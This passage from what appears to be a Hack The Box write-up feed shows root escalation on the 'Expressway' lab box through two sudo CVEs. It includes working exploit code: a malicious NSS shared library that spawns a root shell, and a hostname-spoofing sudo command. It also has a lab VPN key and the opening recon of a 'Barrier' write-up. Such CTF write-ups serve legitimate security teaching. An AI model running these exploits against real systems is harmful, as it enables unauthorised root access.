<p>The weird thing is that there are two copies of <code class="language-plaintext highlighter-rouge">sudo</code>, and <code class="language-plaintext highlighter-rouge">/usr/local/bin</code> is a weird place to have <code class="language-plaintext highlighter-rouge">sudo</code>. It typically comes installed by default and is located in <code class="language-plaintext highlighter-rouge">/usr/bin</code>. The copy in <code class="language-plaintext highlighter-rouge">/usr/local/bin</code> suggests that it was manually installed or compiled.</p>

<p>The versions are different:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/$</span><span class="w"> </span>/usr/bin/sudo <span class="nt">--version</span>
<span class="go">Sudo version 1.9.13p3
Sudoers policy plugin version 1.9.13p3
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.13p3
Sudoers audit plugin version 1.9.13p3
</span><span class="gp">ike@expressway:/$</span><span class="w"> </span>/usr/local/bin/sudo <span class="nt">--version</span>
<span class="go">Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
</span></code></pre></div></div>

<h3 id="cve-identification">CVE Identification</h3>

<p>Searching for vulnerabilities in this version of <code class="language-plaintext highlighter-rouge">sudo</code> returns a bunch of articles:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260301164830715.webp" />
    <img loading="lazy" src="/img/image-20260301164830715.png" alt="image-20260301164830715" class="include_image " />
</picture>

<p>There are two CVEs cited over and over, CVE-2025-32462 and CVE-2025-32463. CVE-2025-32463 is the much easier path, but the intended path is CVE-2025-32462. I’ll show both.</p>

<h3 id="cve-2025-32463">CVE-2025-32463</h3>

<h4 id="background">Background</h4>

<p>NIST describes <a href="https://nvd.nist.gov/vuln/detail/cve-2025-32463">CVE-2025-32463</a> as:</p>

<blockquote>
  <p>Sudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the –chroot option.</p>
</blockquote>

<p>This vulnerability applies to 1.9.14 - 1.9.17.</p>

<p>According to the <a href="https://man7.org/linux/man-pages/man8/sudo.8.html">man page</a>, the <code class="language-plaintext highlighter-rouge">--chroot</code> option:</p>

<blockquote>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-R directory, --chroot=directory
    Change to the specified root directory (see chroot(8))
    before running the command.  The security policy may
    return an error if the user does not have permission to
    specify the root directory.

    This option is deprecated and will be removed in a future
    version of sudo,.
</code></pre></div>  </div>
</blockquote>

<p>In <code class="language-plaintext highlighter-rouge">sudo</code> 1.9.14, a change was introduced to resolve paths via <code class="language-plaintext highlighter-rouge">chroot()</code> while the sudoers file was still being parsed. This means <code class="language-plaintext highlighter-rouge">sudo</code> enters the attacker-controlled chroot before it finishes evaluating the security policy.</p>

<p>The common abuse path here is the Name Service Switch configuration file, <code class="language-plaintext highlighter-rouge">nsswitch.conf</code>, which tells the system where to look up various types of information like:</p>

<ul>
  <li>passwd/group — user accounts and groups (local files, LDAP, NIS)</li>
  <li>hosts — hostname resolution (files, DNS)</li>
  <li>shadow — password hashes</li>
</ul>

<p>A typical entry looks like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>passwd:  files ldap
hosts:   files dns
</code></pre></div></div>

<p>This means “for user lookups, check /etc/passwd first, then LDAP.” Each source is backed by a shared library. files loads <code class="language-plaintext highlighter-rouge">libnss_files.so</code>, ldap loads <code class="language-plaintext highlighter-rouge">libnss_ldap.so</code>, etc.</p>

<p>To exploit this, an attacker can:</p>

<ol>
  <li>Create a writable directory with a fake <code class="language-plaintext highlighter-rouge">/etc/nsswitch.conf</code></li>
  <li>Point <code class="language-plaintext highlighter-rouge">nsswitch.conf</code> to a malicious <code class="language-plaintext highlighter-rouge">libnss_*.so</code> shared library</li>
  <li>Run <code class="language-plaintext highlighter-rouge">sudo -R /attacker/controlled/path &lt;command&gt;</code></li>
  <li><code class="language-plaintext highlighter-rouge">sudo</code> chroots into the attacker’s directory, reads the fake <code class="language-plaintext highlighter-rouge">nsswitch.conf</code>, and loads the malicious library as root</li>
</ol>

<h4 id="exploit">Exploit</h4>

<p>There are numerous POC scripts out there (such as <a href="https://github.com/K1tt3h/CVE-2025-32463-POC">this one from K1tt3h</a>), but I’ll just do the steps manually.</p>

<p>I need a directory to work from, so I’ll use <code class="language-plaintext highlighter-rouge">mktemp</code> to get a directory and go to it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/$</span><span class="w"> </span><span class="nv">STAGE</span><span class="o">=</span><span class="si">$(</span><span class="nb">mktemp</span> <span class="nt">-d</span><span class="si">)</span>
<span class="gp">ike@expressway:/$</span><span class="w"> </span><span class="nb">cd</span> <span class="nv">$STAGE</span>
<span class="gp">ike@expressway:/tmp/tmp.AEMIRU8Jqx$</span><span class="w">
</span></code></pre></div></div>

<p>In here, I’m going to create the following directory structure:</p>

<div style="background: #1c2128; border: 1px solid #444c56; border-radius: 6px; padding: 16px; font-family: monospace; font-size: 14px; color: #e6edf3; margin: 16px 0; overflow-x: auto;"><div style="white-space: nowrap;"><span style="display: inline-block; min-width: 300px;">📁 ./</span><span style="color: #6e7681;"># STAGE</span></div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">├── </span>📁 newroot/</div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">│   └── </span>📁 etc/</div><div style="white-space: nowrap;"><span style="display: inline-block; min-width: 300px;"><span style="color: #8b949e; white-space: pre;">│       └── </span>📄 nsswitch.conf</span><span style="color: #6e7681;"># passwd: /0xdf</span></div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">├── </span>📁 libnss_/</div><div style="white-space: nowrap;"><span style="display: inline-block; min-width: 300px;"><span style="color: #8b949e; white-space: pre;">│   └── </span>📄 0xdf.so.2</span><span style="color: #6e7681;"># malicious shared library</span></div><div style="white-space: nowrap;"><span style="color: #8b949e; white-space: pre;">└── </span>📄 0xdf.c</div></div>

<p>Start with the directories:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/tmp/tmp.AEMIRU8Jqx$</span><span class="w"> </span><span class="nb">mkdir</span> <span class="nt">-p</span> newroot/etc libnss_
<span class="gp">ike@expressway:/tmp/tmp.AEMIRU8Jqx$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">libnss_  newroot
</span></code></pre></div></div>

<p>Inside <code class="language-plaintext highlighter-rouge">etc</code> I’ll create my malicious <code class="language-plaintext highlighter-rouge">nsswitch.conf</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/tmp/tmp.AEMIRU8Jqx$</span><span class="w"> </span><span class="nb">echo</span> <span class="s2">"passwd: /0xdf"</span> <span class="o">&gt;</span> newroot/etc/nsswitch.conf
</code></pre></div></div>

<p>When glibc loads this config, it will prepend <code class="language-plaintext highlighter-rouge">libnss_</code> to the source name and append <code class="language-plaintext highlighter-rouge">.so.2</code>, in this case making <code class="language-plaintext highlighter-rouge">libnss_/0xdf.so.2</code> and try to load that.</p>

<p><code class="language-plaintext highlighter-rouge">chroot</code> won’t change the current directory, so it will try to resolve <code class="language-plaintext highlighter-rouge">libnss_/0xdf.so.2</code> from my current directory, and find my malicious library. I just need to create that:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">))</span> <span class="kt">void</span> <span class="nf">oxdf</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">setreuid</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">setregid</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">chdir</span><span class="p">(</span><span class="s">"/"</span><span class="p">);</span>
    <span class="n">execl</span><span class="p">(</span><span class="s">"/bin/bash"</span><span class="p">,</span> <span class="s">"/bin/bash"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This is a simple library with a constructor function that will run on load, make sure it’s running as root from the <code class="language-plaintext highlighter-rouge">/</code> directory, and then run <code class="language-plaintext highlighter-rouge">bash</code>.</p>

<p>I’ll compile that into place:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/tmp/tmp.AEMIRU8Jqx$</span><span class="w"> </span>gcc <span class="nt">-shared</span> <span class="nt">-fPIC</span> <span class="nt">-o</span> libnss_/0xdf.so.2 0xdf.c
<span class="gp">ike@expressway:/tmp/tmp.AEMIRU8Jqx$</span><span class="w"> </span>file libnss_/0xdf.so.2 
<span class="go">libnss_/0xdf.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=90492fb90da26e947f22402eb41bfcfed3874a4f, not stripped
</span></code></pre></div></div>

<p>The POC uses <code class="language-plaintext highlighter-rouge">-Wl,-init,&lt;function name&gt;</code> to explicitly set the <code class="language-plaintext highlighter-rouge">DT_INIT</code> entry to that function at the linker. If that’s there, the function name must match the constructor function name (<code class="language-plaintext highlighter-rouge">oxdf</code> in this case, <code class="language-plaintext highlighter-rouge">xd1337</code> in the POC). But given this already has <code class="language-plaintext highlighter-rouge">__attribute__((constructor))</code>, I don’t need to pass it at all.</p>

<p>To trigger the exploit, I’ll run <code class="language-plaintext highlighter-rouge">sudo</code> specifying the root of <code class="language-plaintext highlighter-rouge">newroot</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/tmp/tmp.AEMIRU8Jqx$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">--chroot</span> newroot <span class="nb">true</span>
<span class="go">root@expressway:/# 
</span></code></pre></div></div>

<p>Before it can run <code class="language-plaintext highlighter-rouge">true</code>, it loads <code class="language-plaintext highlighter-rouge">0xdf.so.2</code> and drops into <code class="language-plaintext highlighter-rouge">bash</code>. I’m able to get the flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@expressway:/#</span><span class="w"> </span><span class="nb">cat </span>root/root.txt
<span class="go">6b8be400************************
</span></code></pre></div></div>

<p>This does not work with the typical <code class="language-plaintext highlighter-rouge">sudo</code> install:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/tmp/tmp.AEMIRU8Jqx$</span><span class="w"> </span>/usr/bin/sudo <span class="nt">--chroot</span> newroot <span class="nb">true</span>
<span class="go">[sudo] password for ike: 
sudo: you are not permitted to use the -R option with true
</span></code></pre></div></div>

<p>1.9.13p3 is before the vulnerability was introduced.</p>

<h3 id="cve-2025-32462">CVE-2025-32462</h3>

<h4 id="background-1">Background</h4>

<p>NIST describes <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-32462">CVE-2025-32462</a> as:</p>

<blockquote>
  <p>Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.</p>
</blockquote>

<p>This actually impacts versions 1.8.8 through 1.9.17, which is both <code class="language-plaintext highlighter-rouge">sudo</code> instances on Expressway.</p>

<p><code class="language-plaintext highlighter-rouge">sudo</code> supports host-based restrictions in /etc/sudoers, allowing administrators to grant different privileges depending on which host a user is on. This is common in environments where a single sudoers file is distributed across multiple servers. A user might get root on dev boxes but not on production.</p>

<p>The <code class="language-plaintext highlighter-rouge">-h</code> flag lets users specify a target hostname. Vulnerable versions use this user-supplied hostname for policy evaluation instead of the actual system hostname. This means a user can spoof the hostname to match a permissive rule that was never intended to apply to the current machine.</p>

<h4 id="identify-hosts">Identify Hosts</h4>

<p>For this exploit to work, I’ll need to guess a hostname that might be defined in the <code class="language-plaintext highlighter-rouge">sudoers</code> file. Some recursive <code class="language-plaintext highlighter-rouge">grep</code> around the host in places that might have hostnames will find this reference to <code class="language-plaintext highlighter-rouge">offramp.expressway.htb</code> in a Squid proxy log:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/var/log$</span><span class="w"> </span><span class="nb">grep</span> <span class="nt">-r</span> expressway 2&gt;/dev/null
<span class="go">squid/access.log.1:1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
</span></code></pre></div></div>

<p>This is odd, as I’ve seen no evidence that squid is actually running on the host. Were I designing this box and intending this to be the path, I would have included this host in <code class="language-plaintext highlighter-rouge">hosts</code> and the Cisco config and elsewhere to make it seem more natural.</p>

<h4 id="exploit-1">Exploit</h4>

<p>The exploit is quite simple. I just run <code class="language-plaintext highlighter-rouge">sudo</code> with the <code class="language-plaintext highlighter-rouge">-h &lt;host&gt;</code> option, and if that host is specified in the <code class="language-plaintext highlighter-rouge">/etc/sudoers</code> file, it’ll run:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-h</span> offramp.expressway.htb <span class="nb">id</span>
<span class="go">uid=0(root) gid=0(root) groups=0(root)
</span></code></pre></div></div>

<p>It worked! If I use some other host or without <code class="language-plaintext highlighter-rouge">-h</code>, it doesn’t:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-h</span> doesnotexist.expressway.htb <span class="nb">id</span>
<span class="go">Password: 
ike is not allowed to run sudo on doesnotexist.
</span><span class="gp">ike@expressway:/$</span><span class="w"> </span><span class="nb">sudo id</span>
<span class="go">Password: 
ike is not allowed to run sudo on expressway.
</span><span class="gp">ike@expressway:/$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-h</span> expressway.htb <span class="nb">id</span>
<span class="go">Password: 
ike is not allowed to run sudo on expressway.
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">-i</code> with <code class="language-plaintext highlighter-rouge">sudo</code> gives a shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-h</span> offramp.expressway.htb <span class="nt">-i</span>
<span class="go">root@expressway:~#
</span></code></pre></div></div>

<p>And the flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@expressway:~#</span><span class="w"> </span><span class="nb">cat </span>root.txt
<span class="go">6b8be400************************
</span></code></pre></div></div>

<p>It’s worth noting that this vulnerability is in <em>both</em> versions of <code class="language-plaintext highlighter-rouge">sudo</code> on this host:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/$</span><span class="w"> </span>/usr/bin/sudo <span class="nt">-h</span> offramp.expressway.htb <span class="nt">-i</span>
<span class="go">sudo: unable to resolve host offramp.expressway.htb: Temporary failure in name resolution
Last login: Mon Mar  2 12:05:47 GMT 2026 on pts/1
root@expressway:~#
</span></code></pre></div></div>

<p>It’s not clear to me why the legit installed one needs to do a DNS resolution first (and thus hangs since the domain is not defined) but the <code class="language-plaintext highlighter-rouge">local</code> one doesn’t. It’s also not clear why this box has two versions of <code class="language-plaintext highlighter-rouge">sudo</code>.</p>

<h2 id="beyond-root">Beyond Root</h2>

<h3 id="sudo-config">sudo Config</h3>

<p>The <code class="language-plaintext highlighter-rouge">sudoers</code> file on Expressway is:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#</span>
<span class="c"># This file MUST be edited with the 'visudo' command as root.</span>
<span class="c">#</span>
<span class="c"># Please consider adding local content in /etc/sudoers.d/ instead of</span>
<span class="c"># directly modifying this file.</span>
<span class="c">#</span>
<span class="c"># See the man page for details on how to write a sudoers file.</span>
<span class="c">#</span>
Defaults        env_reset
Defaults        mail_badpass
Defaults        <span class="nv">secure_path</span><span class="o">=</span><span class="s2">"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"</span>

<span class="c"># This fixes CVE-2005-4890 and possibly breaks some versions of kdesu</span>
<span class="c"># (#1011624, https://bugs.kde.org/show_bug.cgi?id=452532)</span>
Defaults        use_pty

...[snip comments]...

<span class="c"># Host alias specification</span>
Host_Alias     SERVERS        <span class="o">=</span> expressway.htb, offramp.expressway.htb
Host_Alias     PROD           <span class="o">=</span> expressway.htb
ike            SERVERS, <span class="o">!</span>PROD <span class="o">=</span> NOPASSWD:ALL
ike         offramp.expressway.htb  <span class="o">=</span> NOPASSWD:ALL
<span class="c"># User alias specification</span>

<span class="c"># Cmnd alias specification</span>

<span class="c"># User privilege specification</span>
root    <span class="nv">ALL</span><span class="o">=(</span>ALL:ALL<span class="o">)</span> ALL
<span class="c">#svcMaestro ALL=(ALL:ALL) NOPASSWD: ALL</span>
<span class="c">#ike ALL=(axl) NOPASSWD: /usr/local/sbin/dosconverter</span>
<span class="c"># Allow members of group sudo to execute any command</span>
%sudo   <span class="nv">ALL</span><span class="o">=(</span>ALL:ALL<span class="o">)</span> ALL

<span class="c"># See sudoers(5) for more information on "@include" directives:</span>

@includedir /etc/sudoers.d
</code></pre></div></div>

<p>This intends to grant ike passwordless root only on <code class="language-plaintext highlighter-rouge">offramp.expressway.htb</code>, explicitly excluding <code class="language-plaintext highlighter-rouge">expressway.htb</code> (production). <code class="language-plaintext highlighter-rouge">sudo</code> checks the spoofed hostname against the sudoers rules, matches <code class="language-plaintext highlighter-rouge">offramp.expressway.htb</code>, and grants root, despite running on <code class="language-plaintext highlighter-rouge">expressway.htb</code> where it should be denied.</p>

<h3 id="connecting-ipsec-vpn">Connecting IPSEC VPN</h3>

<p>Having identified the user (ike) and the PSK, I can now connect using <a href="https://www.strongswan.org/">strongSwan</a> (<code class="language-plaintext highlighter-rouge">sudo apt install strongswan</code>). I’ll edit <code class="language-plaintext highlighter-rouge">/etc/ipsec.conf</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>config setup

conn expressway
  keyexchange=ikev1
  aggressive=yes
  authby=psk
  xauth=client
  left=%defaultroute
  leftid=ike@expressway.htb
  right=10.129.13.71
  rightid=ike@expressway.htb
  rightsubnet=10.0.0.0/8
  ike=3des-sha1-modp1024!
  esp=3des-sha1!
  auto=add
  type=tunnel
</code></pre></div></div>

<p>I’ll also add the connection authentication information to <code class="language-plaintext highlighter-rouge">/etc/ipsec.secrets</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ike@expressway.htb : PSK "freakingrockstarontheroad"
</code></pre></div></div>

<p>Now I start it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>ipsec restart
<span class="go">Stopping strongSwan IPsec...
Starting strongSwan 5.9.13 IPsec [starter]...
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>ipsec up expressway
<span class="go">initiating Aggressive Mode IKE_SA expressway[1] to 10.129.13.71
generating AGGRESSIVE request 0 [ SA KE No ID V V V V V ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (370 bytes)
received packet: from 10.129.13.71[500] to 10.10.14.60[500] (422 bytes)
parsed AGGRESSIVE response 0 [ SA KE No ID V V V V NAT-D NAT-D HASH ]
received XAuth vendor ID
received DPD vendor ID
received FRAGMENTATION vendor ID
received NAT-T (RFC 3947) vendor ID
selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024
IKE_SA expressway[1] established between 10.10.14.60[ike@expressway.htb]...10.129.13.71[ike@expressway.htb]
scheduling reauthentication in 9983s
maximum IKE_SA lifetime 10523s
generating AGGRESSIVE request 0 [ HASH NAT-D NAT-D ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (108 bytes)
generating QUICK_MODE request 2816494625 [ HASH SA No ID ID ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (164 bytes)
sending retransmit 1 of request message ID 2816494625, seq 3
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (164 bytes)
received packet: from 10.129.13.71[500] to 10.10.14.60[500] (164 bytes)
parsed QUICK_MODE response 2816494625 [ HASH SA No ID ID ]
selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQ
CHILD_SA expressway{1} established with SPIs c8c88dc3_i c131fe7c_o and TS 10.10.14.60/32 === 10.129.13.71/32
generating QUICK_MODE request 2816494625 [ HASH ]
connection 'expressway' established successfully
</span></code></pre></div></div>

<p>Having this connection doesn’t open up anything new in this case.</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>ipsec stop
<span class="go">Stopping strongSwan IPsec...
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-expressway" /><category term="pentest" /><category term="bug-bounty" /><category term="htb-expressway" /><category term="ctf" /><category term="hackthebox" /><category term="nmap" /><category term="udp" /><category term="ike" /><category term="ike-scan" /><category term="ike-aggressive" /><category term="ipsec" /><category term="vpn" /><category term="hashcat" /><category term="tftp" /><category term="cisco-config" /><category term="squid" /><category term="sudo" /><category term="cve-2025-32463" /><category term="chroot" /><category term="nsswitch" /><category term="cve-2025-32462" /><category term="sudoers" /><category term="strongswan" /><category term="password-reuse" /><category term="debian" /><category term="setuid" /><summary type="html"><![CDATA[Expressway is a Linux box with only SSH and an IKE VPN service on UDP. I’ll use ike-scan in aggressive mode to leak the VPN identity and capture a pre-shared key hash, which cracks quickly with hashcat. Connecting to the IPSEC VPN doesn’t provide any additional attack surface, but the PSK works for SSH access. For privilege escalation, I’ll show exploitation of two different CVEs in sudo. In Beyond Root, I’ll look at the sudo config that allowed one of the exploits and show how to connect to the IPSec VPN with strongSwan.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xdf.gitlab.io/img/expressway-cover.png" /><media:content medium="image" url="https://0xdf.gitlab.io/img/expressway-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Barrier</title><link href="https://0xdf.gitlab.io/2026/03/03/htb-barrier.html" rel="alternate" type="text/html" title="HTB: Barrier" /><published>2026-03-03T10:00:00+00:00</published><updated>2026-03-03T10:00:00+00:00</updated><id>https://0xdf.gitlab.io/2026/03/03/htb-barrier</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/03/03/htb-barrier.html"><![CDATA[<picture>
    <source type="image/webp" srcset="/img/barrier-cover.webp" />
    <img loading="lazy" src="/img/barrier-cover.png" alt="Barrier" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Barrier is a Linux box with GitLab, Authentik, and Apache Guacamole. I’ll exploit a SAML signature bypass vulnerability in GitLab’s Ruby SAML library to forge a SAML assertion and log in as admin. From GitLab’s CI/CD variables, I’ll recover an Authentik API token and use it to create an admin account. With Authentik admin access, I’ll impersonate a user in Guacamole to get an SSH shell. From there, I’ll find database credentials for Guacamole’s MariaDB backend and extract an SSH private key and passphrase for another user. That user’s bash history contains a password that works with sudo to get root.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/838 -->

<div class="htb-card platform-vulnlab">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/barrier" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-barrier.webp" />
          <img src="/icons/box-barrier.png" alt="Barrier" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/barrier" target="_blank" class="htb-box-name">Barrier</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Medium">
      Medium
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/2021977670876049919">12 Feb 2026</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">12 Feb 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      
      <div class="htb-card-row htb-card-red">
        <span class="htb-card-label">Non-competitive release: no bloods</span>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/13569" target="_blank" rel="noopener"><img alt="xct" src="https://www.hackthebox.com/badge/image/13569" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> xct</span></a><br />
      </div>
    </div>

    
    <div class="htb-scenario-section">
      <span class="htb-meta-label">Scenario</span>
      <div class="htb-scenario-box"><span class="htb-scenario-text">The services on Barrier need up to 7 minutes to boot. Please allow ample time for the box to stabilize before resetting</span></div>
    </div>
    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds six open TCP ports, SSH (22) and HTTP (80, 8080, 9000), HTTPS (443, 9443):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.234.46
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-26 22:55 UTC
...[snip]...
Nmap scan report for 10.129.234.46
Host is up, received syn-ack ttl 62 (0.023s latency).
Scanned at 2026-02-26 22:55:05 UTC for 7s
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE        REASON
22/tcp   open  ssh            syn-ack ttl 63
80/tcp   open  http           syn-ack ttl 62
443/tcp  open  https          syn-ack ttl 62
8080/tcp open  http-proxy     syn-ack ttl 63
9000/tcp open  cslistener     syn-ack ttl 62
9443/tcp open  tungsten-https syn-ack ttl 62

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.10 seconds
           Raw packets sent: 68645 (3.020MB) | Rcvd: 65546 (2.622MB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 22,80,443,8080,9000,9443 <span class="nt">-sCV</span> 10.129.234.46
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-26 22:55 UTC
Nmap scan report for 10.129.234.46
Host is up (0.023s latency).

PORT     STATE SERVICE             VERSION
22/tcp   open  ssh                 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  3072 f3:6c:aa:fe:2c:20:f6:55:a0:5b:61:54:cf:39:17:d0 (RSA)
80/tcp   open  http                nginx
|_http-title: Did not follow redirect to https://gitlab.barrier.vl:443/
443/tcp  open  ssl/http            nginx
|_http-trane-info: Problem with XML parsing of /evox/about
| ssl-cert: Subject: commonName=gitlab.barrier.vl/organizationName=Mycompany/stateOrProvinceName=Some-State/countryName=AU
| Subject Alternative Name: DNS:gitlab.barrier.vl
| Not valid before: 2026-01-28T11:21:55
|_Not valid after:  2126-01-04T11:21:55
| http-robots.txt: 58 disallowed entries (15 shown)
| / /autocomplete/users /autocomplete/projects /search
| /admin /profile /dashboard /users /api/v* /help /s/ /-/profile
|_/-/user_settings/profile /-/ide/ /-/experiment
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was https://10.129.234.46/users/sign_in
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http                Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
9000/tcp open  cslistener?
| fingerprint-strings:
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 26 Feb 2026 22:55:53 GMT
|     Location: /flows/-/default/authentication/?next=/
|     Referrer-Policy: same-origin
|     Vary: Accept-Encoding
|     Vary: Cookie
|     X-Authentik-Id: e61e326e21984833aff243886d265cd9
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     X-Powered-By: authentik
|   HTTPOptions:
|     HTTP/1.0 302 Found
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 26 Feb 2026 22:55:53 GMT
|     Location: /flows/-/default/authentication/?next=/
|     Referrer-Policy: same-origin
|     Vary: Accept-Encoding
|     Vary: Cookie
|     X-Authentik-Id: f38280cdc04d4d589fac2bdddd1fc809
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|_    X-Powered-By: authentik
9443/tcp open  ssl/tungsten-https?
| ssl-cert: Subject: commonName=authentik default certificate/organizationName=authentik
| Subject Alternative Name: DNS:*
| Not valid before: 2026-02-26T22:17:17
